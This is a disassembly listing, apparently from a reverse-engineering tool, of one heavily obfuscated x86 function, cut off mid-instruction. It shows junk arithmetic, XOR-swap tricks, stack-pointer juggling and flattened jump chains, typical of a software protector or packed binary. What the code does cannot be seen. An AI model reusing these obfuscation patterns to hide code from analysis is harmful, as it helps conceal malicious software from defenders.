loc_5958D5 ; --------------------------------------------------------------------------- push [esp-6E98h+arg_6E8E+2] jmp loc_596282 ; --------------------------------------------------------------------------- loc_598621: ; CODE XREF: sub_581EE9+15696j sub esp, 4 jmp loc_596D87 ; --------------------------------------------------------------------------- loc_59862C: ; CODE XREF: sub_581EE9+1791Cj sub edx, 49A55859h push ebx mov ebx, 0CA94781h xor ebx, 60621136h and edx, ebx pop ebx shl edx, 8 shr edx, 5 jmp loc_593034 ; --------------------------------------------------------------------------- loc_59864C: ; CODE XREF: sub_581EE9+18FA6j push eax mov eax, 1E815064h jmp loc_5A68CB ; --------------------------------------------------------------------------- loc_598657: ; CODE XREF: sub_581EE9+12792j add eax, edi sub eax, 28EC0644h pop edi push edx mov edx, 0C3C1DBDh xor edx, 764752B6h not edx inc edx not edx neg edx sub edx, 8584B0F2h add eax, edx pop edx xor eax, [esp-6E66h+arg_6E5C+2] xor [esp-6E66h+arg_6E5C+2], eax xor eax, [esp-6E66h+arg_6E5C+2] pop esp push [esp-6E6Ah+arg_6E60+2] mov ecx, [esp-6E66h+arg_6E5C+2] push 0A8Eh mov [esp-6E62h+arg_6E58+2], ebp mov ebp, esp push 4589h mov [esp-6E5Eh+arg_6E54+2], eax jmp loc_599D5D ; --------------------------------------------------------------------------- loc_5986A2: ; CODE XREF: sub_581EE9+23165j push 4CE13394h pop edi sub esi, edi push [esp-6E5Eh+arg_6E54+2] pop edi push edx mov edx, esp add edx, 4 jmp loc_59CFF6 ; --------------------------------------------------------------------------- loc_5986BC: ; CODE XREF: sub_581EE9+1C6CFj mov eax, 4 add edx, eax pop eax xchg edx, [esp-6E5Eh+arg_6E54+2] pop esp jmp loc_5A15E0 ; --------------------------------------------------------------------------- loc_5986CD: ; CODE XREF: sub_581EE9+2263Ej pop esp jmp loc_59E886 ; --------------------------------------------------------------------------- loc_5986D3: ; CODE XREF: sub_581EE9+14B77j add ecx, edx add ecx, 5324122h mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp jmp loc_593CE1 ; --------------------------------------------------------------------------- loc_5986F3: ; CODE XREF: sub_581EE9+212CFj push [esp-6E9Ch+arg_6E96+2] pop edx jmp loc_5A3287 ; --------------------------------------------------------------------------- loc_5986FD: ; CODE XREF: sub_581EE9+1523Bj sub ch, 0FFh shl ch, 3 add ch, 0ACh jmp loc_5A3336 ; --------------------------------------------------------------------------- loc_59870B: ; CODE XREF: sub_581EE9+1D732j add esp, 4 inc esi and esi, 56812779h xor esi, 14FA27D3h push ecx jmp loc_59FB4F ; --------------------------------------------------------------------------- loc_598721: ; CODE XREF: sub_581EE9+1D2CAj add edi, 508B6CE8h sub edi, ebx sub edi, 508B6CE8h add edi, 3DD4714Bh pop ebx xor edi, [esp-6E78h+arg_6E6E+2] xor [esp-6E78h+arg_6E6E+2], edi xor edi, [esp-6E78h+arg_6E6E+2] mov esp, [esp-6E78h+arg_6E6E+2] mov [esp-6E78h+arg_6E6E+2], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59874A: ; CODE XREF: sub_581EE9+1E957j pop ebp push edx jmp loc_5A5394 ; --------------------------------------------------------------------------- push [esp-6E78h+arg_6E6E+2] mov eax, [esp+0] jmp loc_5989AB ; --------------------------------------------------------------------------- loc_59875C: ; CODE XREF: sub_581EE9+22308j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E70h+arg_6E68] jmp loc_5A07F3 ; --------------------------------------------------------------------------- loc_598773: ; CODE XREF: sub_581EE9+21451j push edx mov dl, 6Ch push eax push ebx mov bl, 40h not bl add bl, 0B5h jmp loc_5A1927 ; --------------------------------------------------------------------------- loc_598784: ; CODE XREF: sub_581EE9+192F1j sub [esp-6E64h+arg_6E60], 33A417DCh sub [esp-6E64h+arg_6E60], 2CA70103h push eax push 55445C32h pop eax add [esp-6E60h+arg_6E60], 2C572F37h jmp loc_59E577 ; --------------------------------------------------------------------------- loc_5987A8: ; CODE XREF: sub_581EE9+247DDj push esi jmp loc_59C32F ; --------------------------------------------------------------------------- loc_5987AE: ; CODE XREF: sub_581EE9+1C43Ej add esp, 4 push 62D1h mov [esp-6E5Ch+arg_6E54], edx jmp loc_5A44EC ; --------------------------------------------------------------------------- loc_5987C1: ; CODE XREF: sub_581EE9+21338j not cx jmp loc_593F4A ; --------------------------------------------------------------------------- loc_5987C9: ; CODE XREF: sub_581EE9+124C1j push edi jmp loc_59ED13 ; --------------------------------------------------------------------------- loc_5987CF: ; CODE XREF: sub_581EE9+202E4j or ebx, 20C2DACh push 6334h jmp loc_59FE81 ; --------------------------------------------------------------------------- loc_5987DF: ; CODE XREF: sub_581EE9+16E47j xor edx, [esp-6E98h+arg_6E8E+2] xor [esp-6E98h+arg_6E8E+2], edx xor edx, [esp-6E98h+arg_6E8E+2] jmp loc_59A714 ; --------------------------------------------------------------------------- loc_5987ED: ; CODE XREF: sub_581EE9+19A8Cj pop ecx sub eax, 7BAA682Ch sub eax, ebx push 4166h jmp loc_59943C ; --------------------------------------------------------------------------- loc_5987FF: ; CODE XREF: sub_581EE9+16648j push 1807h mov [esp-6E64h+arg_6E5C], ebp jmp loc_592A85 ; --------------------------------------------------------------------------- loc_59880C: ; CODE XREF: sub_581EE9+1A3A0j push ebp push esp mov ebp, [esp-6E5Ch+arg_6E54] add esp, 4 push edx mov edx, 7EB46E74h sub edx, 313F2F53h neg edx and edx, 724D76DFh xchg ebx, edx not ebx xchg ebx, edx sub edx, 0CDF7BF1Ch add ebp, edx mov edx, [esp-6E5Ch+arg_6E54] add esp, 4 push 262Ch mov [esp-6E5Ch+arg_6E54], edx jmp loc_5A5BB9 ; --------------------------------------------------------------------------- loc_598849: ; CODE XREF: sub_581EE9+1984Aj add ebp, ecx pop ecx xchg ebp, [esp-6E60h+arg_6E58] pop esp pop dword ptr [eax] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_598857: ; CODE XREF: sub_581EE9+19A70j sub bl, al sub bl, 0B6h jmp loc_5A487C ; --------------------------------------------------------------------------- loc_598861: ; CODE XREF: sub_581EE9+10DF3j mov ebp, 4 add ebx, 12A12330h add ebx, ebp sub ebx, 12A12330h mov ebp, [esp-6E76h+arg_6E6E] add esp, 4 xor ebx, [esp-6E7Ah+arg_6E72] xor [esp-6E7Ah+arg_6E72], ebx jmp loc_59A5BC ; --------------------------------------------------------------------------- loc_598885: ; CODE XREF: sub_581EE9+13406j mov ecx, 85BC0F1Bh jmp loc_5A4141 ; --------------------------------------------------------------------------- loc_59888F: ; CODE XREF: sub_581EE9+17016j or ebx, 7B184835h shr ebx, 2 sub ebx, 0AF4BD2DAh jmp loc_597D30 ; --------------------------------------------------------------------------- loc_5988A3: ; CODE XREF: sub_581EE9+11DA7j add edi, 4 push ebp mov ebp, 4 add edi, ebp jmp loc_5A6E13 ; --------------------------------------------------------------------------- loc_5988B6: ; CODE XREF: sub_581EE9+1D0B3j push [esp-6E60h+arg_6E58] mov eax, [esp-6E5Ch+arg_6E54] add esp, 4 push edi push esp mov edi, [esp-6E58h+arg_6E50] jmp loc_59285B ; --------------------------------------------------------------------------- loc_5988C9: ; CODE XREF: sub_581EE9+2186Fj push [esp-6E58h+arg_6E54] mov edx, [esp-6E54h+arg_6E4C] add esp, 4 pop [esp-6E58h+arg_6E50] pop esp or ecx, ecx jz loc_5A150E sub esp, 4 jmp loc_5974E9 ; --------------------------------------------------------------------------- loc_5988E7: ; CODE XREF: sub_581EE9+17B23j and edx, 57334576h add edx, 0FFFDFA8Eh add esi, edx pop edx push eax jmp loc_59589A ; --------------------------------------------------------------------------- loc_5988FC: ; CODE XREF: sub_581EE9+16DB9j mov edx, ebp push edx add [esp-6E58h+arg_6E50], 48C5DC6h jmp loc_59A601 ; --------------------------------------------------------------------------- loc_59890B: ; CODE XREF: sub_581EE9+2272Bj add edx, 4 push eax mov eax, 4 add edx, eax jmp loc_59C45F ; --------------------------------------------------------------------------- loc_59891E: ; CODE XREF: sub_581EE9+17F9Aj xchg ecx, [esp-6E54h+arg_6E4C] pop esp mov [esp-6E58h+arg_6E50], ebx mov ebx, 1 or [edi+1Ch], ebx mov ebx, [esp-6E58h+arg_6E50] push edi push esp push [esp-6E50h+arg_6E48] mov edi, [esp-6E4Ch+arg_6E44] add esp, 4 sub esp, 4 mov [esp-6E4Ch+arg_6E44], edi jmp loc_5A3537 ; --------------------------------------------------------------------------- loc_59894C: ; CODE XREF: sub_581EE9+18905j push eax mov ah, 0ECh neg ah xor ah, 0F1h shl ah, 2 not ah jmp loc_594306 ; --------------------------------------------------------------------------- loc_59895E: ; CODE XREF: sub_581EE9+128EAj mov ecx, 2BF74C5Dh add ecx, 0D408B3A7h add edx, ecx pop ecx jmp loc_5A2251 ; --------------------------------------------------------------------------- loc_598971: ; CODE XREF: sub_581EE9+1B30Dj pop eax sub bl, 9Eh add bl, al jmp loc_59D5F7 ; --------------------------------------------------------------------------- loc_59897C: ; CODE XREF: sub_581EE9+10DE2j sub eax, edi add eax, 0DC939BFh jmp loc_592E3E ; --------------------------------------------------------------------------- loc_598988: ; CODE XREF: sub_581EE9+1042Aj sub edx, ebp sub edx, 3BEF69D7h jmp loc_5A31EA ; --------------------------------------------------------------------------- loc_598995: ; CODE XREF: sub_581EE9+17060j add esp, 4 add esi, 910495D1h and eax, esi push [esp-6EACh+arg_6EA4] jmp loc_59CA95 ; --------------------------------------------------------------------------- loc_5989AB: ; CODE XREF: sub_581EE9+1686Ej push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp+0], ebp jmp loc_5A4D5D ; --------------------------------------------------------------------------- loc_5989C3: ; CODE XREF: sub_581EE9+10500j xchg edi, [esp-6EA8h+arg_6E9E+2] pop esp push 367Dh mov [esp-6EA8h+arg_6E9E+2], eax mov eax, ebx mov ecx, eax mov eax, [esp-6EA8h+arg_6E9E+2] add esp, 4 jmp loc_598D5A ; --------------------------------------------------------------------------- loc_5989DE: ; CODE XREF: sub_581EE9+132F0j push ebx mov ebx, 6E7E4453h sub ebx, 335A1E6Ah push ebx jmp loc_59984D ; --------------------------------------------------------------------------- loc_5989F0: ; CODE XREF: sub_581EE9+20CCDj sub bl, al pop eax jmp loc_5A63C0 ; --------------------------------------------------------------------------- loc_5989F8: ; CODE XREF: sub_581EE9+1B116j pop esp sub esi, 0F663B3Dh push ecx push eax mov eax, 31CD71BBh dec eax add eax, 38E509E2h shr eax, 2 inc eax sub eax, 190E30DDh push esi jmp loc_599B1A ; --------------------------------------------------------------------------- loc_598A1B: ; CODE XREF: sub_581EE9+13B41j pop edi push ebx mov ebx, 160D3235h shl ebx, 5 jmp loc_5A696F ; --------------------------------------------------------------------------- loc_598A2A: ; CODE XREF: sub_581EE9+1A82Ej mov dl, bh mov cl, dl pop edx pop ebx jmp loc_59ADAD ; --------------------------------------------------------------------------- loc_598A35: ; CODE XREF: sub_581EE9+20A63j add ebp, ecx add ebp, 3A9C4B43h pop ecx push ecx push ebp mov ebp, 9DC328Bh jmp loc_595728 ; --------------------------------------------------------------------------- loc_598A4A: ; CODE XREF: sub_581EE9+1CEDAj add esi, 4 xchg esi, [esp-6E6Ah+arg_6E60+2] pop esp sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], edx push 0B2Fh mov [esp-6E66h+arg_6E5C+2], ebx mov bl, 4Ch push 461Ch mov [esp-6E62h+arg_6E58+2], eax push small 5D8Fh jmp loc_5962E6 ; --------------------------------------------------------------------------- loc_598A78: ; CODE XREF: sub_581EE9+16002j pop ebp add esi, ebp jmp loc_5A3B40 ; --------------------------------------------------------------------------- loc_598A80: ; CODE XREF: sub_581EE9+2126Fj push [esp-6E6Ah+arg_6E60+2] pop edx push ebp mov ebp, esp jmp loc_597786 ; --------------------------------------------------------------------------- loc_598A8C: ; CODE XREF: sub_581EE9+1EC02j mov ebx, 46984F36h push 332Ah jmp loc_593DFA ; --------------------------------------------------------------------------- loc_598A9B: ; CODE XREF: sub_581EE9+1A429j pop edx jmp loc_59ED92 ; --------------------------------------------------------------------------- loc_598AA1: ; CODE XREF: sub_581EE9+1468Bj push edx mov edx, esp add edx, 4 jmp loc_5931C6 ; --------------------------------------------------------------------------- loc_598AAF: ; CODE XREF: sub_581EE9+14FD9j xor [esp-6E5Ah+arg_6E50+2], edi mov edi, [esp-6E5Ah+arg_6E50+2] add esp, 4 jmp loc_59636C ; --------------------------------------------------------------------------- loc_598AC0: ; CODE XREF: sub_581EE9+17493j add [esp-6E5Eh+arg_6E58+2], 6024606Ch pop ebp mov ebx, [esp-6E62h+arg_6E58+2] push 2623h mov [esp-6E5Eh+arg_6E54+2], ecx push esp pop ecx sub esp, 4 jmp loc_5931EF ; --------------------------------------------------------------------------- loc_598ADE: ; CODE XREF: sub_581EE9+21F7Ej mov ecx, 373E03CDh or ebp, ecx pop ecx and ebp, 7A5D5D0Fh push ebp inc [esp-6E5Ah+arg_6E50+2] mov ebp, [esp-6E5Ah+arg_6E50+2] add esp, 4 xor ebp, 739364CBh sub esi, ebp pop ebp jmp loc_5A69F2 ; --------------------------------------------------------------------------- loc_598B04: ; CODE XREF: sub_581EE9+14E22j xor ecx, eax jmp loc_5A5A28 ; --------------------------------------------------------------------------- loc_598B0B: ; CODE XREF: sub_581EE9+1DBBEj mov edx, 0EB34BCCh sub edx, 31BE6C9Dh add edx, 5F775B3h push ebx mov ebx, 0 sub ebx, edx xor edx, ebx jmp loc_59EB35 ; --------------------------------------------------------------------------- loc_598B2B: ; CODE XREF: sub_581EE9+1AF51j pop ebp mov edi, [esp-6E76h+arg_6E6E] add esp, 4 xor ecx, [esp-6E7Ah+arg_6E72] jmp loc_596308 ; --------------------------------------------------------------------------- loc_598B3D: ; CODE XREF: sub_581EE9+19C0Ej neg esi shr esi, 6 jmp loc_595619 ; --------------------------------------------------------------------------- loc_598B47: ; CODE XREF: sub_581EE9+184DBj push [esp-6E7Ah+arg_6E72] pop eax push ebp mov ebp, esp jmp loc_59A899 ; --------------------------------------------------------------------------- loc_598B53: ; CODE XREF: sub_581EE9+1AD81j mov edx, ebp pop ebp jmp loc_5A5C60 ; --------------------------------------------------------------------------- loc_598B5B: ; CODE XREF: sub_581EE9+2025Ej push 1CD9h mov [esp-6E76h+arg_6E6E], esi mov esi, 4 add edi, esi pop esi sub edi, 4 xchg edi, [esp-6E7Ah+arg_6E72] pop esp jmp loc_59AF6A ; --------------------------------------------------------------------------- loc_598B7A: ; CODE XREF: sub_581EE9+12255j shl edi, 1 push ebx jmp loc_5979E6 ; --------------------------------------------------------------------------- loc_598B82: ; CODE XREF: sub_581EE9+1B482j pop ebx shr eax, 1 push esi jmp loc_59ED50 ; --------------------------------------------------------------------------- loc_598B8B: ; CODE XREF: sub_581EE9+1133Fj pop ebp xchg ebp, esi jmp loc_59325F ; --------------------------------------------------------------------------- push [esp-6EA0h+arg_6E96+2] push [esp-6E9Ch+arg_6E92+2] push [esp-6E98h+arg_6E8E+2] pop eax add esp, 4 sub esp, 4 mov [esp-6E98h+arg_6E8E+2], edx push esp pop edx push ebx sub esp, 4 mov [esp+0], edi mov edi, 192002B3h mov ebx, 192002B7h xor ebx, edi pop edi add edx, 64871547h add edx, ebx sub edx, 64871547h mov ebx, [esp-6E94h+arg_6E8A+2] add esp, 4 push 2BF3h mov [esp-6E94h+arg_6E8A+2], ecx push 796Eh mov [esp+0], ebp push edx jmp loc_59EE6D ; --------------------------------------------------------------------------- loc_598BEC: ; CODE XREF: sub_581EE9+18326j mov [esp-6E8Ch+arg_6E84], esi mov esi, 35043ACFh sub esi, 35043ACBh jmp loc_5A6B9D ; --------------------------------------------------------------------------- loc_598BFF: ; CODE XREF: sub_581EE9+1F9A8j add ebx, 405546B2h jmp loc_5A2679 ; --------------------------------------------------------------------------- loc_598C0A: ; CODE XREF: sub_581EE9+2007Dj add edx, 1E7A42C0h pop ecx add edx, 4 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp xchg ebp, [esp-6E94h+arg_6E8A+2] pop esp mov cx, word ptr [esp-6E98h+arg_6E8E+2] push 1850h jmp loc_5A49C7 ; --------------------------------------------------------------------------- loc_598C33: ; CODE XREF: sub_581EE9+1257Cj mov ebx, [esp-6E9Ah+arg_6E92] jmp loc_596B29 ; --------------------------------------------------------------------------- loc_598C3B: ; CODE XREF: sub_581EE9+1D272j mov ebp, esp add ebp, 4 jmp loc_59AFD1 ; --------------------------------------------------------------------------- loc_598C48: ; CODE XREF: sub_581EE9+19512j mov cx, word ptr [esp-6E9Ah+arg_6E92] jmp loc_595740 ; --------------------------------------------------------------------------- loc_598C51: ; CODE XREF: sub_581EE9+14E52j push edi mov edi, esp push ecx mov ecx, 1EB57AB2h xor ecx, 64AA3048h neg ecx jmp loc_5A2BF1 ; --------------------------------------------------------------------------- loc_598C67: ; CODE XREF: sub_581EE9+15BD3j xor esi, 2D31355Ch jmp loc_59B2CD ; --------------------------------------------------------------------------- loc_598C72: ; CODE XREF: sub_581EE9+11432j mov [esp-6E8Ch+arg_6E84], ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_59F9E5 ; --------------------------------------------------------------------------- loc_598C82: ; CODE XREF: sub_581EE9+1CD2Fj push eax push 3EBBh mov [esp-6E88h+arg_6E80], ebx mov bh, dl mov ah, bh jmp loc_5A0597 ; --------------------------------------------------------------------------- loc_598C94: ; CODE XREF: sub_581EE9+21589j xor dh, 2Bh sub al, dh mov edx, [esp-6E88h+arg_6E80] jmp loc_594604 ; --------------------------------------------------------------------------- loc_598CA1: ; CODE XREF: sub_581EE9+10D33j push edx jmp loc_5988FC ; --------------------------------------------------------------------------- loc_598CA7: ; CODE XREF: sub_581EE9+221A8j add esi, 4 add esi, 4 xchg esi, [esp-6E76h+arg_6E6E] pop esp jmp loc_5998FE ; --------------------------------------------------------------------------- loc_598CB9: ; CODE XREF: sub_581EE9+240A4j add bl, 17h sub bl, dh sub bl, 17h jmp loc_5A5C67 ; --------------------------------------------------------------------------- loc_598CC6: ; CODE XREF: sub_581EE9+1964Ej mov ebx, 45D71B2Eh add ebp, 724E4BC4h add ebp, ebx sub ebp, 724E4BC4h mov ebx, [esp-6E7Ah+arg_6E72] add esp, 4 neg ebp push ebx jmp loc_59BED6 ; --------------------------------------------------------------------------- loc_598CE7: ; CODE XREF: sub_581EE9+1C984j sub ebp, 0D44238ABh add ecx, ebp pop ebp add ecx, 16DA53F6h sub ecx, edi sub ecx, 16DA53F6h sub ecx, 7B7B2487h mov edi, [esp-6E7Eh+arg_6E76] add esp, 4 jmp loc_5A60EB ; --------------------------------------------------------------------------- loc_598D0F: ; CODE XREF: sub_581EE9+24CCDj pop esp xchg edi, [esp-6E86h+arg_6E7C+2] pop esp mov [esp-6E8Ah+arg_6E80+2], edx mov edx, esp push ecx mov ecx, 4 add edx, ecx mov ecx, [esp-6E86h+arg_6E7C+2] add esp, 4 add edx, 4 jmp loc_5987DF ; --------------------------------------------------------------------------- loc_598D35: ; CODE XREF: sub_581EE9+23225j mov [esp-6E8Ah+arg_6E80+2], ebx mov ebx, 66F366FDh push ebx sub [esp-6E86h+arg_6E7C+2], 6EFC0BF5h jmp loc_59CB39 ; --------------------------------------------------------------------------- loc_598D4A: ; CODE XREF: sub_581EE9+182F2j dec ecx not ecx jmp loc_593436 ; --------------------------------------------------------------------------- loc_598D52: ; CODE XREF: sub_581EE9+10ADBj push ebx mov ebx, esp jmp loc_597024 ; --------------------------------------------------------------------------- loc_598D5A: ; CODE XREF: sub_581EE9+16AF0j mov ebx, [esp-6EACh+arg_6EA4] jmp loc_5A6919 ; --------------------------------------------------------------------------- loc_598D62: ; CODE XREF: sub_581EE9+13CA1j xchg ebx, ebp not ebx xchg ebx, ebp xor ebp, 3FFD13FBh jmp loc_59D370 ; --------------------------------------------------------------------------- loc_598D73: ; CODE XREF: sub_581EE9+1A092j not ecx jmp loc_5A67AC ; --------------------------------------------------------------------------- loc_598D7A: ; CODE XREF: sub_581EE9+1ACAEj add ebx, 4 jmp loc_59D87A ; --------------------------------------------------------------------------- loc_598D85: ; CODE XREF: sub_581EE9+1C07Cj xchg ecx, [esp-6EA6h+arg_6E9E] pop esp jmp loc_5A2565 ; --------------------------------------------------------------------------- loc_598D8E: ; CODE XREF: sub_581EE9+147F1j xchg eax, [esp-6EC4h+arg_6EBA+2] pop esp jmp loc_5A2E96 ; --------------------------------------------------------------------------- loc_598D97: ; CODE XREF: sub_581EE9+1E1C0j mov ecx, 4 add edi, ecx jmp loc_59213A ; --------------------------------------------------------------------------- loc_598DA3: ; CODE XREF: sub_581EE9+2296Fj pop edx xor edi, [esp-6ECCh+arg_6EC2+2] xor [esp-6ECCh+arg_6EC2+2], edi xor edi, [esp-6ECCh+arg_6EC2+2] pop esp jmp loc_5A2D34 ; --------------------------------------------------------------------------- loc_598DB3: ; CODE XREF: sub_581EE9+1B4E5j pop ebp xchg edi, [esp-6ED4h+arg_6ECA+2] jmp loc_596B57 ; --------------------------------------------------------------------------- loc_598DBC: ; CODE XREF: sub_581EE9+11FB9j mov ecx, [esp-6E94h+arg_6E8A+2] add esp, 4 add [esp-6E98h+arg_6E8E+2], 5D0E5B67h jmp loc_5A0668 ; --------------------------------------------------------------------------- loc_598DD1: ; CODE XREF: sub_581EE9+1F7A0j sub ecx, 4624386h pop esi sub ecx, 6351F06h pop edi add edi, ecx pop ecx jmp loc_599DC9 ; --------------------------------------------------------------------------- loc_598DE7: ; CODE XREF: sub_581EE9+1D33Cj pop edx and ecx, edx mov edx, [esp-6EA8h+arg_6E9E+2] jmp loc_5A2850 ; --------------------------------------------------------------------------- loc_598DF2: ; CODE XREF: sub_581EE9+12C0Ej mov esp, [esp-6E68h+arg_6E60] push esp pop [esp-6E64h+arg_6E5C] jmp loc_5A06CA ; --------------------------------------------------------------------------- loc_598DFE: ; CODE XREF: sub_581EE9+1FF22j sub dh, 2Ch push 17A9h mov [esp-6E64h+arg_6E5C], ebx jmp loc_5998C4 ; --------------------------------------------------------------------------- loc_598E0E: ; CODE XREF: sub_581EE9+1A567j xchg edx, [esp-6E64h+arg_6E5C] pop esp mov [esp-6E68h+arg_6E60], esp add [esp-6E68h+arg_6E60], 4 pop eax add eax, 4 sub esp, 4 mov [esp-6E68h+arg_6E60], edi push 7B91h jmp loc_5922F5 ; --------------------------------------------------------------------------- loc_598E32: ; CODE XREF: sub_581EE9+1ED5Fj mov [esp-6E64h+arg_6E5C], edi jmp loc_5A2145 ; --------------------------------------------------------------------------- loc_598E3A: ; CODE XREF: sub_581EE9+24181j pop ebx sub eax, 4 xchg eax, [esp-6E68h+arg_6E60] mov esp, [esp-6E68h+arg_6E60] mov [esp-6E68h+arg_6E60], eax push 66A7h mov [esp-6E64h+arg_6E5C], ebx jmp loc_5A69A8 ; --------------------------------------------------------------------------- loc_598E54: ; CODE XREF: sub_581EE9+12A23j mov esp, [esp-6E9Eh+arg_6E96] jmp loc_5A5C2F ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: sub_581EE9+18032j sub cl, 0BFh add bl, cl push [esp-6E9Eh+arg_6E96] jmp loc_5924A4 ; --------------------------------------------------------------------------- loc_598E69: ; CODE XREF: sub_581EE9+1FBA7j add eax, ebp add eax, 6D1A64AFh pop ebp push 6432h mov [esp-6E9Ah+arg_6E92], edx push ecx push edx push 451B2D2Eh pop edx and edx, 51357147h shr edx, 8 inc edx sub edx, 8DDD9380h mov ecx, edx pop edx sub esp, 4 mov [esp-6E92h+arg_6E8A], edi push 8D9C8260h pop edi sub ecx, 3F0E2075h add ecx, edi push esi jmp loc_59FE3A ; --------------------------------------------------------------------------- loc_598EAE: ; CODE XREF: sub_581EE9+144DAj push 26E43C89h pop ecx and ecx, 3890331Dh push 7E5Dh mov [esp-6EA6h+arg_6E9E], edi jmp loc_59F9EC ; --------------------------------------------------------------------------- loc_598EC7: ; CODE XREF: sub_581EE9+1E16Dj add ebx, 323F6D90h jmp loc_599C23 ; --------------------------------------------------------------------------- loc_598ED2: ; CODE XREF: sub_581EE9+123A9j push ecx mov ecx, 57590458h and ecx, 53CB0A7Fh jmp loc_5923A5 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], eax sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], ebp push ebx mov ebx, 3440292Ch jmp loc_59888F ; --------------------------------------------------------------------------- loc_598F04: ; CODE XREF: sub_581EE9+11748j pop esp sub esp, 4 jmp loc_59504B ; --------------------------------------------------------------------------- loc_598F0D: ; CODE XREF: sub_581EE9+107CEj mov [esp-6EA8h+arg_6E9E+2], esp jmp loc_5A1AEE ; --------------------------------------------------------------------------- loc_598F15: ; CODE XREF: sub_581EE9+226BBj sub esp, 4 jmp loc_59EA7A ; --------------------------------------------------------------------------- loc_598F20: ; CODE XREF: sub_581EE9+1EFC1j mov edx, 14891745h mov esi, edx pop edx jmp loc_59DA8E ; --------------------------------------------------------------------------- loc_598F2D: ; CODE XREF: sub_581EE9+1E0CDj add esi, 3DA72C1Eh jmp loc_597731 ; --------------------------------------------------------------------------- loc_598F38: ; CODE XREF: sub_581EE9+186B1j pop eax jmp loc_5A7080 ; --------------------------------------------------------------------------- loc_598F3E: ; CODE XREF: sub_581EE9+173BBj push edx mov edx, 6F904A2Fh or esi, edx mov edx, [esp-6EA8h+arg_6E9E+2] jmp loc_598995 ; --------------------------------------------------------------------------- loc_598F4E: ; CODE XREF: sub_581EE9+1BD99j sub edi, 0FFFFFFFFh jmp loc_59C28E ; --------------------------------------------------------------------------- loc_598F56: ; CODE XREF: sub_581EE9+23D79j mov edx, [esp-6EA8h+arg_6E9E+2] push ecx push esp pop ecx push ebp jmp loc_59E45B ; --------------------------------------------------------------------------- loc_598F62: ; CODE XREF: sub_581EE9+13795j sub ebx, edx add ebx, 17113283h mov edx, ebx mov ebx, [esp-6E76h+arg_6E6E] add esp, 4 shr edx, 3 shl edx, 8 push 229h mov [esp-6E76h+arg_6E6E], ebx mov ebx, 6AA574FCh neg ebx xor ebx, 2124D85h xor edx, ebx pop ebx xor ebp, edx pop edx add ecx, ebp mov ebp, [esp-6E7Eh+arg_6E76] jmp loc_596789 ; --------------------------------------------------------------------------- loc_598FA0: ; CODE XREF: sub_581EE9+18107j pop edx jmp loc_5927E7 ; --------------------------------------------------------------------------- loc_598FA6: ; CODE XREF: sub_581EE9+1B795j add edx, esi sub edx, 4375E6Dh pop esi push eax mov eax, 39592AE9h add eax, 67BE371Ah add eax, 0FFFFFFFFh neg eax jmp loc_5A114A ; --------------------------------------------------------------------------- loc_598FC6: ; CODE XREF: sub_581EE9+163DAj pop edx jmp loc_59F720 ; --------------------------------------------------------------------------- loc_598FCC: ; CODE XREF: sub_581EE9+210DAj pop edx shl ebx, 2 jmp loc_5A6136 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], ecx push bx mov bl, 5Dh jmp loc_593F91 ; --------------------------------------------------------------------------- loc_598FE5: ; CODE XREF: sub_581EE9+24752j xor eax, edi add eax, 1 push 0E02h mov [esp-6ECEh+arg_6EC6], edx push ecx mov ecx, 0F710D66h mov edx, ecx pop ecx xor edx, 65A647B2h jmp loc_596214 ; --------------------------------------------------------------------------- loc_599008: ; CODE XREF: sub_581EE9+1B3AEj sub esi, 1 jmp loc_59AC63 ; --------------------------------------------------------------------------- loc_599013: ; CODE XREF: sub_581EE9+1BA56j mov [esp-6ECEh+arg_6EC6], edx mov dl, 0FEh xor dl, 53h or dl, 2 push 52F7h mov [esp-6ECAh+arg_6EC2], ebx mov bl, dl not bl jmp loc_5A6AAC ; --------------------------------------------------------------------------- loc_59902F: ; CODE XREF: sub_581EE9+246DBj add eax, 4 jmp loc_592A32 ; --------------------------------------------------------------------------- loc_599039: ; CODE XREF: sub_581EE9+111F6j push esi mov esi, esp push ecx mov ecx, 3ADC6C9Fh not ecx neg ecx sub ecx, 6CD17020h sub ecx, 0CE0AFC7Ch add esi, ecx pop ecx add esi, 4 xchg esi, [esp-6E42h+arg_6E3A] pop esp jmp loc_5A275D ; --------------------------------------------------------------------------- loc_599064: ; CODE XREF: sub_581EE9+13CEAj sub edi, 4 xchg edi, [esp-6E66h+arg_6E5C+2] pop esp mov [esp-6E6Ah+arg_6E60+2], ebp push 69D1h mov [esp-6E66h+arg_6E5C+2], esp add [esp-6E66h+arg_6E5C+2], 4 jmp loc_59F237 ; --------------------------------------------------------------------------- loc_599082: ; CODE XREF: sub_581EE9+172D6j mov ecx, 23B779A9h jmp loc_59D46A ; --------------------------------------------------------------------------- loc_59908C: ; CODE XREF: sub_581EE9+1BF43j push [esp-6E66h+arg_6E5C+2] mov edi, [esp-6E62h+arg_6E58+2] add esp, 4 add esp, 4 sub [edi+24h], ebx mov ebx, [esp-6E6Ah+arg_6E60+2] add esp, 4 loc_5990A4: ; CODE XREF: sub_581EE9+18ACBj push ebx jmp loc_59E6EC ; --------------------------------------------------------------------------- loc_5990AA: ; CODE XREF: sub_581EE9+11323j mov ebx, [esp-6EA4h+arg_6E9A+2] add esp, 4 shl esi, 6 push esi xchg ebp, [esp-6EA4h+arg_6E9A+2] not ebp push ebp push [esp-6EA0h+arg_6E9A+2] jmp loc_5A24E2 ; --------------------------------------------------------------------------- loc_5990C6: ; CODE XREF: sub_581EE9+14B08j mov cx, word ptr [esp-6EAEh+arg_6EA4+2] add esp, 2 jmp loc_59B35F ; --------------------------------------------------------------------------- loc_5990D5: ; CODE XREF: sub_581EE9+1906Aj not ebx xchg ebx, ebp xor edi, ebp xor ebp, edi jmp loc_596EBA ; --------------------------------------------------------------------------- loc_5990E2: ; CODE XREF: sub_581EE9+130DEj sub edi, 4 xchg edi, 